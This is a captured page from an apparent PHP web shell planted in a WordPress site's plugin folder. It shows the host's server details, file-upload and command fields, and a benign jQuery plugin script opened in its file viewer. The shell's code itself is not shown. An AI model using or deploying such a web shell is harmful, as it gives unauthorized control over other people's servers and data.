????JFIF??x?x????'403WebShell
403Webshell
Server IP : 104.21.80.1  /  Your IP : 216.73.216.134
Web Server : LiteSpeed
System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
User : tempvsty ( 647)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/tempvsty/eaabusiness.com/wp-content/plugins/social-icons/assets/js/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/tempvsty/eaabusiness.com/wp-content/plugins/social-icons/assets/js/admin/meta-boxes-group.js
/* global social_icons_admin_meta_boxes_group */
jQuery( function( $ ) {

	// Icon inputs.
	$( '#social-icons-group-data' ).on( 'click','.sortable_icons a.insert', function() {
		$( this ).closest( '.sortable_icons' ).find( 'tr.no-items' ).remove();
		$( this ).closest( '.sortable_icons' ).find( 'tbody' ).append( $( this ).data( 'row' ) );
		return false;
	});
	$( '#social-icons-group-data' ).on( 'click','.sortable_icons a.delete', function() {
		$( this ).closest( 'tr' ).remove();
		return false;
	});

	// Social Icons ordering.
	$( '.sortable_icons tbody' ).sortable({
		items: 'tr',
		cursor: 'move',
		axis: 'y',
		handle: 'td.sort',
		scrollSensitivity: 40,
		forcePlaceholderSize: true,
		helper: 'clone',
		opacity: 0.65
	});

	// Detect socicon from supported URL and allowed lists.
	$( document.body ).on( 'keyup', 'td.social_url input[type=text]', function() {
		var $this = $( this ), $_socicon = false, url;

		if ( url = $this.val().toLowerCase() ) {
			$.each( social_icons_admin_meta_boxes_group.supported_url_icon, function( index, icon ) {
				if ( url.indexOf( index ) !== -1 ) {
					$_socicon = icon;
					return true;
				}
			});

			if ( ! $_socicon ) {
				$.each( social_icons_admin_meta_boxes_group.allowed_socicons, function( index, icon ) {
					if ( url.indexOf( icon ) !== -1 ) {
						$_socicon = icon;
						return true;
					}
				});
			}
		}

		if ( $_socicon ) {
			$this.parents( 'tr' ).find( '.sort' ).attr( 'class', 'sort socicon-' + $_socicon );
		} else {
			$this.parents( 'tr' ).find( '.sort' ).attr( 'class', 'sort dashicons-plus' );
		}
	});
});

Youez - 2016 - github.com/yon3zu
LinuXploit